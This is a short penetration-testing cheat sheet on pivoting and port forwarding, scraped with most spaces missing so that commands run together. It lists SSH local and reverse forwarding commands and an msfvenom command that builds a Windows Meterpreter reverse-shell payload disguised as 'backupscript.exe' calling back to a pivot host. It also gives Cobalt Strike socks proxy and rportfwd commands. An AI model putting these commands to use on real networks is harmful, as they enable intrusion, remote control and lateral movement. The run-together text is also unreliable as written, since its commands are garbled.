It sends the data from <local-port> to <remote-port on the target server.
# Local Port -> Can be any port# Remote Port -> The port where the target service is listening onssh-L<local-port>:127.0.0.1:<remote-port># Confirm Port Forwardingnetstat-antp|grep<localport># Forwarding Several Portsssh-L<local-port>:localhost:<remote-port><local-port>:localhost:<remote-port><user>@<IP>
# Generate Reverse Shell, with the IP of the internal host.msfvenom-pwindows/x64/meterpreter/reverse_httpslhost=<InternalIPofPivotHost>-fexe-obackupscript.exeLPORT=8080# Set lport 8000# set lhost 127.0.0.1# Reverse Port Forwardssh-R<InternalIPofPivotHost>:8080:0.0.0.0:8000ubuntu@<ipAddressofTarget>-vN
Cobalt Tunneling & Port Forwarding
# Socks4 Proxysocks1080# socks5socks1080socks5disableNoAuthsocks_usersocks_passwordenableLogging# Reverse Port Forwardrportfwd